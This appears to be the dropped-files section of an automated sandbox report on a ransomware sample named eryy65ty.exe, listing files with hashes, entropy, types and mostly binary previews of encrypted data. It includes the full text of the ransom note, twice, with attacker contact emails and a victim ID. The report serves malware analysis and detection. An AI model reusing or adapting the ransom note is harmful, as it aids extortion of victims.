                                                                                                                                                                Preview:{N.]......5...:.9[..1.TS..m.....$>.M.l.4...RR......=..DK:w..(.....=t-S.c...s....,.r].>..>.4.c\..._I...Lc.e.{8..n.......mT.....|Dsgb..H..\...H../....'%..W. ....y...=...p...?H.D.m.f.j.nh...x.V...W...W..H....b/...'.l.c.I.%r...I9......2..,.t86O.e..2..z..K.....(O.?...@.}.*.`..XZ`0.c...hN...!s.....nR.......!.......Q.A...P..(....T...^......G.w.8N..%.. :G..H}.x`}.L..RM....NR.t6..k...FL......v.]Q....L.4..K4..h/<.u,..Z.^.....m}...8.<..R..Y.V......@.,..4..~.=eS..]G.5.H......Zp..<.s....).Zs.."x..Q[^]u.....UG...O...i..|....r...Y$..m"=..3....En.....9.._(...T0....b..C.v.U.~..TD..Ll.].0p..7.(.....b....J.....7:...*%..uo..n.Hd5.l....`'........i}L....u.2...#..;7.I?.o.|.<= .......K.(-.....<..H.Mh...~..#U.......\.T=xP`.M..Z_,!.....<.>..........V..</.q.F.A..=<5H."^!..(..L.....2..yZ[=.....f^v&......Yx..xq22...i..p..K.o.........2@.#.9.d..@......f..3..ga......].Lp.._.'.(.hB.7.z..2....r2]m..Di...k........og.....[..H...oJ....,.....+...G.?5.e@..p..;.,...~3.*.h#....c.F
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.84063414920364
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:D7CspDAF4VL02eFl5w7X+lNKZu017HT/ZeOFwaccqpDkLvENacllArnp7L:itk4s7uPKvz/YacDuLvENacllCpn
                                                                                                                                                                MD5:73B0CC73C61FDD8FE8FE85B90FFE80A4
                                                                                                                                                                SHA1:03B438D1B5F2B62350977C169F5E4819622514E3
                                                                                                                                                                SHA-256:B6B3E9B12A905B78954F42AA9565497CA17DB671F20AA1A8D680F98A64078F94
                                                                                                                                                                SHA-512:E6B1281704A2995A87F70EC310B8E9A6248BF7B51FB34BCA636BF55B8FE7F53F69FF536BA39024744C2F4A92CFE2F968CEC7C9F518A606DBD49E0436E154B808
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:@..K*u.-f../......Ll..6.e..._q..^.2..^G.J..<..Y...eF.a22.L..W.9\......@HdA..[..&.~.J.{..7..........!(.7...Z.8...rxLA,].{!...}....1.......0..c.E..-.u.xaQ7.!..;A9c..}<.......Zc\.....hq...9..b.b9B5@."....v>`$.......fc..G.`p.8]...V.I..@...T-.y..,.C*n..&(.[..]..1.z....'\nB[....r...5IG96......d....5.].......T.....}DA...K..-V.J.!..e...0s..(....u.O....b>..z.0.......m...R...........7.n0g..%=F....gj..?x..x;.1y. ..czL.,....~.\..............5...K..Y.E.D....@j.)].2.O[.V..f....p.-....Y..df..<l;..uO..lFp...U.y.-hr..4).I.z)+!..| Q.@...Fd..1.;8..D..4h>.;0.0..f.I.Q.f.....B).I=PYw...b.>....d...,.|... ."..... u.;.W^.]..S.O.~.a.u.^H1...y.t4..@TH.P.|....IM....1**.t~..R#t..z..]...H.+.`.cT'p.W$&....n..iC...`]mh..R..xn.Z.Yu..kS!.-......g..a~......D...J...$v.\.h.%T......\<B.;..DM"P!...;.=+..q.T....h.. ......O.B. .-X....^..9.h..J<.{.6>..*V..czo]..D0._g....9y......U..s..|#.A0._...$...y...VAy.......Vy<...j.2.'.`{..x..Ho..g#}P.B(......$'....*.....\k.E....VE%r..>-'.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.84063414920364
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:D7CspDAF4VL02eFl5w7X+lNKZu017HT/ZeOFwaccqpDkLvENacllArnp7L:itk4s7uPKvz/YacDuLvENacllCpn
                                                                                                                                                                MD5:73B0CC73C61FDD8FE8FE85B90FFE80A4
                                                                                                                                                                SHA1:03B438D1B5F2B62350977C169F5E4819622514E3
                                                                                                                                                                SHA-256:B6B3E9B12A905B78954F42AA9565497CA17DB671F20AA1A8D680F98A64078F94
                                                                                                                                                                SHA-512:E6B1281704A2995A87F70EC310B8E9A6248BF7B51FB34BCA636BF55B8FE7F53F69FF536BA39024744C2F4A92CFE2F968CEC7C9F518A606DBD49E0436E154B808
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:@..K*u.-f../......Ll..6.e..._q..^.2..^G.J..<..Y...eF.a22.L..W.9\......@HdA..[..&.~.J.{..7..........!(.7...Z.8...rxLA,].{!...}....1.......0..c.E..-.u.xaQ7.!..;A9c..}<.......Zc\.....hq...9..b.b9B5@."....v>`$.......fc..G.`p.8]...V.I..@...T-.y..,.C*n..&(.[..]..1.z....'\nB[....r...5IG96......d....5.].......T.....}DA...K..-V.J.!..e...0s..(....u.O....b>..z.0.......m...R...........7.n0g..%=F....gj..?x..x;.1y. ..czL.,....~.\..............5...K..Y.E.D....@j.)].2.O[.V..f....p.-....Y..df..<l;..uO..lFp...U.y.-hr..4).I.z)+!..| Q.@...Fd..1.;8..D..4h>.;0.0..f.I.Q.f.....B).I=PYw...b.>....d...,.|... ."..... u.;.W^.]..S.O.~.a.u.^H1...y.t4..@TH.P.|....IM....1**.t~..R#t..z..]...H.+.`.cT'p.W$&....n..iC...`]mh..R..xn.Z.Yu..kS!.-......g..a~......D...J...$v.\.h.%T......\<B.;..DM"P!...;.=+..q.T....h.. ......O.B. .-X....^..9.h..J<.{.6>..*V..czo]..D0._g....9y......U..s..|#.A0._...$...y...VAy.......Vy<...j.2.'.`{..x..Ho..g#}P.B(......$'....*.....\k.E....VE%r..>-'.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313324
                                                                                                                                                                Entropy (8bit):7.491329742816257
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:2VIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKre:qn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+T
                                                                                                                                                                MD5:2594DAC36DA349877607155516A682F4
                                                                                                                                                                SHA1:6D172A61CEFBE18AA5E2223FF09145D3FB59C2FE
                                                                                                                                                                SHA-256:4B27DEF4BAC6FF52AD8870200EC889C4F1020192FBE82490F34108062A0B90F1
                                                                                                                                                                SHA-512:7328C38B97A9A0050B2AD9C890F147DE87533D466C7EFA7B6A50E9B0715161A1FF43DFC2A26C6D76951BF9040774BB2C8481EE4F6D72152F9FBDDA0D60778948
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:e3.........5....!...g.~......d?V........_..^~.sV.<..u...!..>.i8.@#)....~.....S...'33s..e......w.S.r.L......N.Hf...-...N...s......\.L{.r!,{..Z..s...2.......E... I.w.h`.r....~..\.......!O.3.d..Ut..xS..,A..(.(.0......3T..@CW...t...?.....T.R....Nd.o.e.N]y./.....!B...RU...S-. k.......O..ZS..D.c....?.yBJ.|.;..D.....a.3h|.......H.KO.......7.V.=.v..@.U..s...f......Zo..@...4_...2..n.....d3..:Q.Wm\l...d...o..y....Hb.T.s]..0.:...<..<5Fj...$.j.;.){Tdy..H...N.UJ4.]....%.,..y.d..Q.+.?.!..D....r.`q"J...7......n8....B.\....Z.......c..'.T.'fG'......}.C.9&...}..E..:v....JKrrrk...].(..F!.?."..Mb.."%M`..h.Tp..e.p=.A...1.~.I.5'W..0..c:.V.gm*.2..j...l.RW....d.....c3'......@.2.jr~..v..?R..+Dr1l...pB(.v8..j*.e`.&...|./..T.&.....]?.v&2.?o..^.*...)g....pm.n.!..=..JaM9(.$..........9M3....p...Y,..|F.w.73|A.n..Gj......|m]...c.+.|.....zy.d.zg%Ff.d..~........f...|.DI.Y...;uHS".../.(q.M..w..Q.W.=.Dv...+.......8...\.b.A........r.T.gW...*.Mh.#@x.v....r[u..z..E-.%
                                                                                                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                File Type:PDF document, version 1.6 (zip deflate encoded)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313058
                                                                                                                                                                Entropy (8bit):7.489403200507457
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:fIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKr+g:fn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+g
                                                                                                                                                                MD5:0B46EEFB0F38BAF77484929DD67DB02C
                                                                                                                                                                SHA1:DE2CE2981F80DEB18935A2D7C76862D049FE7E2A
                                                                                                                                                                SHA-256:496212C9D3B71BF483C6B97E4803E00B46B5F8AE731FE4EAE73F614B41F22163
                                                                                                                                                                SHA-512:04A0518619385AC7E64A0B2122038C946A22E6E61A06FE539AB389EEB8C2414BF95A6D15DF2478E02F5733F4F2A8C4981B9D35BDE44C59FCD746B020E4B55172
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9..*.....0b7.M`.@.....v.v.7...m.m7FRk[.L|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.T*GX>+-...,%8t.....Hb|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....*&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:......*...&...e.mpG...3......9.p...3....FA..{...f.0.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313324
                                                                                                                                                                Entropy (8bit):7.491329742816257
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:2VIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKre:qn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+T
                                                                                                                                                                MD5:2594DAC36DA349877607155516A682F4
                                                                                                                                                                SHA1:6D172A61CEFBE18AA5E2223FF09145D3FB59C2FE
                                                                                                                                                                SHA-256:4B27DEF4BAC6FF52AD8870200EC889C4F1020192FBE82490F34108062A0B90F1
                                                                                                                                                                SHA-512:7328C38B97A9A0050B2AD9C890F147DE87533D466C7EFA7B6A50E9B0715161A1FF43DFC2A26C6D76951BF9040774BB2C8481EE4F6D72152F9FBDDA0D60778948
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:e3.........5....!...g.~......d?V........_..^~.sV.<..u...!..>.i8.@#)....~.....S...'33s..e......w.S.r.L......N.Hf...-...N...s......\.L{.r!,{..Z..s...2.......E... I.w.h`.r....~..\.......!O.3.d..Ut..xS..,A..(.(.0......3T..@CW...t...?.....T.R....Nd.o.e.N]y./.....!B...RU...S-. k.......O..ZS..D.c....?.yBJ.|.;..D.....a.3h|.......H.KO.......7.V.=.v..@.U..s...f......Zo..@...4_...2..n.....d3..:Q.Wm\l...d...o..y....Hb.T.s]..0.:...<..<5Fj...$.j.;.){Tdy..H...N.UJ4.]....%.,..y.d..Q.+.?.!..D....r.`q"J...7......n8....B.\....Z.......c..'.T.'fG'......}.C.9&...}..E..:v....JKrrrk...].(..F!.?."..Mb.."%M`..h.Tp..e.p=.A...1.~.I.5'W..0..c:.V.gm*.2..j...l.RW....d.....c3'......@.2.jr~..v..?R..+Dr1l...pB(.v8..j*.e`.&...|./..T.&.....]?.v&2.?o..^.*...)g....pm.n.!..=..JaM9(.$..........9M3....p...Y,..|F.w.73|A.n..Gj......|m]...c.+.|.....zy.d.zg%Ff.d..~........f...|.DI.Y...;uHS".../.(q.M..w..Q.W.=.Dv...+.......8...\.b.A........r.T.gW...*.Mh.#@x.v....r[u..z..E-.%
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.441680254272626
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:Nb8lWp/nP0ZQUEaLGTzvI7aUNYeelZWJTRmenuEdg531s/Acwgjgz3TCV5mP1CRd:x3p/WQUEa2M7ZY3lupg53+/Ug8Q5mP1y
                                                                                                                                                                MD5:BDA9CE5F38845E1E0D0A569F134987D4
                                                                                                                                                                SHA1:FDE8AA9C1A7DC047F8CEFEE96851C32970DD27A6
                                                                                                                                                                SHA-256:E8AC3B09450001D046B3C820C8C433D5B0FE038F570834371F57FA5D67D4BEC1
                                                                                                                                                                SHA-512:E8BC7C68B387F3AB2FC5B34DB6778DD8AFF48BDA4B1BD2CBBCB6E367782431E4BCFCFF64EB06BDF18C461E75CCE51E1C324E43443B5D0CF37E95DDA9A70B737E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:. ...iJ..d...!..Q4.p.|..Tz..2.VB..5.sp.(.....H....C.V.L.9t.....R\$G..z"...p>....f..e.W.w.amazon.com/....M.y.....e.5......X.GE>g..Oi........,i..BM.......u/.<<T..p...>.v..d|hU..o..8...=.Z...n...*u.vs.........C&.c.y.4..0.(.........ISTF.wq..t<..D....5..}q(.mcZ.EHlHtE.....~..T.m.....~#.P.;C...# XW\..P.s.....M N..<.......O~!i>...nf.s.1OH...^.M..:..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.441680254272626
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:Nb8lWp/nP0ZQUEaLGTzvI7aUNYeelZWJTRmenuEdg531s/Acwgjgz3TCV5mP1CRd:x3p/WQUEa2M7ZY3lupg53+/Ug8Q5mP1y
                                                                                                                                                                MD5:BDA9CE5F38845E1E0D0A569F134987D4
                                                                                                                                                                SHA1:FDE8AA9C1A7DC047F8CEFEE96851C32970DD27A6
                                                                                                                                                                SHA-256:E8AC3B09450001D046B3C820C8C433D5B0FE038F570834371F57FA5D67D4BEC1
                                                                                                                                                                SHA-512:E8BC7C68B387F3AB2FC5B34DB6778DD8AFF48BDA4B1BD2CBBCB6E367782431E4BCFCFF64EB06BDF18C461E75CCE51E1C324E43443B5D0CF37E95DDA9A70B737E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:. ...iJ..d...!..Q4.p.|..Tz..2.VB..5.sp.(.....H....C.V.L.9t.....R\$G..z"...p>....f..e.W.w.amazon.com/....M.y.....e.5......X.GE>g..Oi........,i..BM.......u/.<<T..p...>.v..d|hU..o..8...=.Z...n...*u.vs.........C&.c.y.4..0.(.........ISTF.wq..t<..D....5..}q(.mcZ.EHlHtE.....~..T.m.....~#.P.;C...# XW\..P.s.....M N..<.......O~!i>...nf.s.1OH...^.M..:..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):474
                                                                                                                                                                Entropy (8bit):7.561973406339568
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:zD/KSGg8o81laQ4O8lKDDyYhFsMiFaBqzn:zD/KSGg8o8lLP8UDHhHiEBk
                                                                                                                                                                MD5:8A956306AEEFB4029E4D39F926B5749C
                                                                                                                                                                SHA1:1AD31E9AFDF767651813F3C489ED279549E6C614
                                                                                                                                                                SHA-256:BEFB2F2CB75CE89E42E6D22483705616F4025022BB5F2E5C244846F7FB3202E9
                                                                                                                                                                SHA-512:8DFA9F836BC72EB3D05445C1630B8C263B41C4F35BFD28CA312074D0E560401B056EB7B3BEAFB191F009D052467F0704D9A51FE4F5B4FA36C47F094CC81968F6
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.&.E?.=.....} n.~..`...$..&.O.X.~.$}..@k!..0.$.....wqB(J.O...*~.A..U...E.v....)_p...i....O.,uf.-).pq.........t.|.ER.c...&.e...N.4Gu.MX..MS.W....^'D{F..N.\Qa.3!4q.B.k..Q..6%.....6sd.jr..mages\bing.ico........2.4.5....7.......8........~..F.Y..9..OK.^....=..?...5...pf. ..6]1.&...f.R....F.k..LKq....U..s...K..*m...x...~...c.O.-..........G.L..tBW..#e.^.o..~.........-..h....o~r...\...k...4..N4..>...,.F7 k^...}3.........T..O..P.X}.n.Y."~_.r.10xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):474
                                                                                                                                                                Entropy (8bit):7.561973406339568
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:zD/KSGg8o81laQ4O8lKDDyYhFsMiFaBqzn:zD/KSGg8o8lLP8UDHhHiEBk
                                                                                                                                                                MD5:8A956306AEEFB4029E4D39F926B5749C
                                                                                                                                                                SHA1:1AD31E9AFDF767651813F3C489ED279549E6C614
                                                                                                                                                                SHA-256:BEFB2F2CB75CE89E42E6D22483705616F4025022BB5F2E5C244846F7FB3202E9
                                                                                                                                                                SHA-512:8DFA9F836BC72EB3D05445C1630B8C263B41C4F35BFD28CA312074D0E560401B056EB7B3BEAFB191F009D052467F0704D9A51FE4F5B4FA36C47F094CC81968F6
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.&.E?.=.....} n.~..`...$..&.O.X.~.$}..@k!..0.$.....wqB(J.O...*~.A..U...E.v....)_p...i....O.,uf.-).pq.........t.|.ER.c...&.e...N.4Gu.MX..MS.W....^'D{F..N.\Qa.3!4q.B.k..Q..6%.....6sd.jr..mages\bing.ico........2.4.5....7.......8........~..F.Y..9..OK.^....=..?...5...pf. ..6]1.&...f.R....F.k..LKq....U..s...K..*m...x...~...c.O.-..........G.L..tBW..#e.^.o..~.........-..h....o~r...\...k...4..N4..>...,.F7 k^...}3.........T..O..P.X}.n.Y."~_.r.10xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):379
                                                                                                                                                                Entropy (8bit):7.512795324628166
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:7cOQnLQmEjTtnfizCzKu0LaDw0vp6ejwOEaS+DVCNo3K3Grvo5JFaWvBpUVwn:AOQ0fJfioKKDJZjTw+DVwo3K3G7oLFjR
                                                                                                                                                                MD5:37D86115EAC2AFD0E1371738F9873DF2
                                                                                                                                                                SHA1:C7EB8622638B27CC6DD1A8F528452EBB921E532C
                                                                                                                                                                SHA-256:0A03CBE60CDD3C5B9D66235DD4061C031743ED9E7BD6829730CFFD0EB88D1652
                                                                                                                                                                SHA-512:A3E4F49F6D6576FA3C527850A97B04BA18F53743C0018F86DE947A79E41631624316AD4930512E6883645936291A40A6624C714447152D82D66981B692AD8CC0
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:sR...b.>.i...E.jn:.8....A,.Pu...#.0V............3=.JC^...0..Y.B{.j.l.A..V.,.|.....hE.....y..eR.....0.K......-......o.B18..<.D..Pt..}..._~.".S......EE..U.*....$-.."..'....-......kq...)...-ZjMJ..f.?.....a..}......>......_%.........h..1.Tp.m.G....h..'..}.:...i.*p.X......].v?9._.6D.....X.e...>.....`.?...B`.}....N.\.+t..;...)..3.k..9.....I]..wd..$%Kv..r.c0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):379
                                                                                                                                                                Entropy (8bit):7.512795324628166
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:7cOQnLQmEjTtnfizCzKu0LaDw0vp6ejwOEaS+DVCNo3K3Grvo5JFaWvBpUVwn:AOQ0fJfioKKDJZjTw+DVwo3K3G7oLFjR
                                                                                                                                                                MD5:37D86115EAC2AFD0E1371738F9873DF2
                                                                                                                                                                SHA1:C7EB8622638B27CC6DD1A8F528452EBB921E532C
                                                                                                                                                                SHA-256:0A03CBE60CDD3C5B9D66235DD4061C031743ED9E7BD6829730CFFD0EB88D1652
                                                                                                                                                                SHA-512:A3E4F49F6D6576FA3C527850A97B04BA18F53743C0018F86DE947A79E41631624316AD4930512E6883645936291A40A6624C714447152D82D66981B692AD8CC0
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:sR...b.>.i...E.jn:.8....A,.Pu...#.0V............3=.JC^...0..Y.B{.j.l.A..V.,.|.....hE.....y..eR.....0.K......-......o.B18..<.D..Pt..}..._~.".S......EE..U.*....$-.."..'....-......kq...)...-ZjMJ..f.?.....a..}......>......_%.........h..1.Tp.m.G....h..'..}.:...i.*p.X......].v?9._.6D.....X.e...>.....`.?...B`.}....N.\.+t..;...)..3.k..9.....I]..wd..$%Kv..r.c0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.405752644436644
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:OKLkLQfE/yerMB1rIOvxMaTpfscddloWnYMQqhAWAPDiJukvLu59rP92n:OKLkLkE/y9GOpMepfscdHolMQsAzLKxb
                                                                                                                                                                MD5:0AF813405E77CF74BB9D7A34FC470220
                                                                                                                                                                SHA1:579DAA291D472BAE1BC0ECC6AC8D6FEC6BF07461
                                                                                                                                                                SHA-256:0F831A8A59C8C11DBC81BF5DA7BECEF7C6669964E51124388EFF5019058EF2E7
                                                                                                                                                                SHA-512:15D419786294072FD5860D069C7DE817C5F138832286E96BBAB8105C3B335CEE2312D035EFF15499740C3D1AF8184085E92C0BB540AE9CE9109ECC22796A62B2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:'ZLW&CC...Y...b7m..?Q....d.....eq......1.<.^.z8$}.5....p........>.N5...-.i.=..l.,(...[w.google.com/....]w4.{X......l..Wy..7..b...e.......`.:.@{A:.7._...Z.+.`...6...9..Hb..c4...a.v.@.........Q.t..'c.2....Y.}MbX.Y.nm..HZ...Q.....H..u...5.!....a.G....Q.....H....&...M...h.%'..^..| ....-W..D.&....`...97...o.....(...D.n..W.....X..X..K8hC...T..R....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.405752644436644
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:OKLkLQfE/yerMB1rIOvxMaTpfscddloWnYMQqhAWAPDiJukvLu59rP92n:OKLkLkE/y9GOpMepfscdHolMQsAzLKxb
                                                                                                                                                                MD5:0AF813405E77CF74BB9D7A34FC470220
                                                                                                                                                                SHA1:579DAA291D472BAE1BC0ECC6AC8D6FEC6BF07461
                                                                                                                                                                SHA-256:0F831A8A59C8C11DBC81BF5DA7BECEF7C6669964E51124388EFF5019058EF2E7
                                                                                                                                                                SHA-512:15D419786294072FD5860D069C7DE817C5F138832286E96BBAB8105C3B335CEE2312D035EFF15499740C3D1AF8184085E92C0BB540AE9CE9109ECC22796A62B2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:'ZLW&CC...Y...b7m..?Q....d.....eq......1.<.^.z8$}.5....p........>.N5...-.i.=..l.,(...[w.google.com/....]w4.{X......l..Wy..7..b...e.......`.:.@{A:.7._...Z.+.`...6...9..Hb..c4...a.v.@.........Q.t..'c.2....Y.}MbX.Y.nm..HZ...Q.....H..u...5.!....a.G....Q.....H....&...M...h.%'..^..| ....-W..D.&....`...97...o.....(...D.n..W.....X..X..K8hC...T..R....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):375
                                                                                                                                                                Entropy (8bit):7.450933012234986
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:q4DjJvOPBadvLnvh8TsD7igH2YasBl/le3ILUXiYZaa5J6UOZ0Uz74n:J3JvOPaCTsDOgHJael8sUXi85wUOZvon
                                                                                                                                                                MD5:4559776C707A52487D1786EE3BBE3C6E
                                                                                                                                                                SHA1:6836C26C533C6C144527FE3E5D1D3636DEB4507B
                                                                                                                                                                SHA-256:351D2E5D617EDB236846F9916CD061EBBCCBA3F30A09C54F37A523A8A646C1C4
                                                                                                                                                                SHA-512:899345698CE6628190C4DB78A7E64D41EBAD3B0130FF2B198A50B663624426F965A0F440D31FDFED0A95ABB58856782DDED1884DDCA4650140E38D5D65A935B0
                                                                                                                                                                Malicious:true
